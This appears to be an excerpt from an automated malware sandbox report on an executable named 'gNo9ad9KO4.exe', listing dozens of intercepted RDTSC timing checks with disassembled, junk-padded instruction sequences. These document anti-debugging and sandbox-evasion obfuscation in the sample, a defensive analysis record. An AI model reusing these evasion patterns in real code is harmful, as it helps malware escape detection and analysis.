Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36215D second address: 362161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3628A6 second address: 3628AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 364CDD second address: 364CE3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 364CE3 second address: 364CE8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 364CE8 second address: 364CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 364CF1 second address: 364CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 364CF7 second address: 364CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36BFFC second address: 36C000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36C000 second address: 36C004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36C746 second address: 36C769 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4688C929D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4688C929E9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36C8CA second address: 36C8DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F4688C1B778h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36C8DA second address: 36C8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C929DCh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36C8EE second address: 36C8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36C8F4 second address: 36C916 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 jnl 00007F4688C929D6h 0x0000000f pop edi 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 jbe 00007F4688C929D6h 0x00000019 push edi 0x0000001a pop edi 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36DCD4 second address: 36DCD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36DCD8 second address: 36DCE5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4688C929D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36DF63 second address: 36DF67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36DF67 second address: 36DF6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36E068 second address: 36E086 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4688C1B766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4688C1B771h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36E5C7 second address: 36E5D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36E80C second address: 36E829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4688C1B766h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4688C1B76Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36E9F9 second address: 36E9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36F05E second address: 36F068 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4688C1B766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36F987 second address: 36F9A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4688C929E0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36F9A2 second address: 36F9A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36F9A8 second address: 36F9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36F9AC second address: 36F9B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 371F19 second address: 371F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4688C929E2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 371F31 second address: 371F56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4688C1B76Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 371F56 second address: 371F60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 371F60 second address: 371F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 371D10 second address: 371D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 371D16 second address: 371D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 373578 second address: 37359E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4688C929E4h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jl 00007F4688C929DCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37359E second address: 3735A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37578E second address: 375796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3727FB second address: 3727FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 375796 second address: 3757A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3732DF second address: 3732E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3757A4 second address: 3757A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3732E5 second address: 3732EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4688C1B766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37AA49 second address: 37AA4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37AA4E second address: 37AA73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C1B778h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37AA73 second address: 37AA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C929DCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37AF93 second address: 37AFE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F4688C1B768h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D3A74h] 0x0000002a push 00000000h 0x0000002c mov di, cx 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jnc 00007F4688C1B776h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37BDEC second address: 37BE4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jc 00007F4688C929EAh 0x0000000c pushad 0x0000000d jmp 00007F4688C929DCh 0x00000012 jnc 00007F4688C929D6h 0x00000018 popad 0x00000019 nop 0x0000001a add dword ptr [ebp+122D38AEh], eax 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F4688C929D8h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c cmc 0x0000003d mov bx, di 0x00000040 push 00000000h 0x00000042 or edi, 539C45E0h 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37B149 second address: 37B14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37BE4C second address: 37BE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37B14E second address: 37B153 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37BF9C second address: 37BFA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F4688C929D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37D103 second address: 37D10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F4688C1B766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37DFD9 second address: 37E043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F4688C929E9h 0x0000000d jg 00007F4688C929D8h 0x00000013 popad 0x00000014 nop 0x00000015 or dword ptr [ebp+122D2828h], edx 0x0000001b mov bh, E6h 0x0000001d push 00000000h 0x0000001f jnc 00007F4688C929DCh 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebp 0x0000002a call 00007F4688C929D8h 0x0000002f pop ebp 0x00000030 mov dword ptr [esp+04h], ebp 0x00000034 add dword ptr [esp+04h], 00000016h 0x0000003c inc ebp 0x0000003d push ebp 0x0000003e ret 0x0000003f pop ebp 0x00000040 ret 0x00000041 movsx edi, si 0x00000044 push eax 0x00000045 push ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 push edx 0x00000049 pop edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37F02F second address: 37F035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37F035 second address: 37F04D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C929E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 38240F second address: 382441 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4688C1B76Fh 0x0000000d jmp 00007F4688C1B76Eh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007F4688C1B766h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 382441 second address: 38246F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E8h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F4688C929E0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 383A60 second address: 383A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 384BE6 second address: 384BEC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 383C89 second address: 383C9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4688C1B76Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 385CC7 second address: 385D00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F4688C929E2h 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F4688C929D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 384E1C second address: 384EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, edx 0x0000000a push dword ptr fs:[00000000h] 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F4688C1B768h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F4688C1B768h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c adc bl, FFFFFFE6h 0x0000004f mov eax, dword ptr [ebp+122D0995h] 0x00000055 stc 0x00000056 push FFFFFFFFh 0x00000058 call 00007F4688C1B778h 0x0000005d jmp 00007F4688C1B76Ah 0x00000062 pop ebx 0x00000063 push eax 0x00000064 push esi 0x00000065 push eax 0x00000066 push edx 0x00000067 jng 00007F4688C1B766h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 386CB6 second address: 386CC0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 388AB0 second address: 388AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F4688C1B768h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 xor ebx, 5F64974Fh 0x00000029 push 00000000h 0x0000002b mov di, dx 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+12454D8Eh], edi 0x00000036 mov edi, 719258C0h 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 389B5D second address: 389B73 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4688C929D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f je 00007F4688C929D6h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 385E9F second address: 385F40 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4688C1B766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c or dword ptr [ebp+12449AABh], ebx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 jmp 00007F4688C1B775h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007F4688C1B768h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f mov bx, 70B8h 0x00000043 mov eax, dword ptr [ebp+122D06B1h] 0x00000049 push 00000000h 0x0000004b push ebp 0x0000004c call 00007F4688C1B768h 0x00000051 pop ebp 0x00000052 mov dword ptr [esp+04h], ebp 0x00000056 add dword ptr [esp+04h], 00000019h 0x0000005e inc ebp 0x0000005f push ebp 0x00000060 ret 0x00000061 pop ebp 0x00000062 ret 0x00000063 push FFFFFFFFh 0x00000065 or dword ptr [ebp+12461125h], ebx 0x0000006b mov edi, dword ptr [ebp+122D3ACCh] 0x00000071 push eax 0x00000072 pushad 0x00000073 push edi 0x00000074 ja 00007F4688C1B766h 0x0000007a pop edi 0x0000007b push eax 0x0000007c push edx 0x0000007d push ecx 0x0000007e pop ecx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 389CE0 second address: 389CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 389CE6 second address: 389CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F4688C1B76Ch 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 38C88B second address: 38C895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4688C929D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 389CFE second address: 389D08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4688C1B766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 38C895 second address: 38C901 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b sub dword ptr [ebp+122D3628h], edx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F4688C929D8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov ebx, 1DB538E4h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F4688C929D8h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e push eax 0x0000004f jo 00007F4688C929E4h 0x00000055 push eax 0x00000056 push edx 0x00000057 jns 00007F4688C929D6h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 38ABFC second address: 38AC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32C010 second address: 32C01D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32C01D second address: 32C023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32C023 second address: 32C037 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32C037 second address: 32C03B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 393861 second address: 393865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 39399C second address: 3939B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C1B774h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3939B4 second address: 3939C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F4688C929DAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3939C6 second address: 3939CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3939CC second address: 3939D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
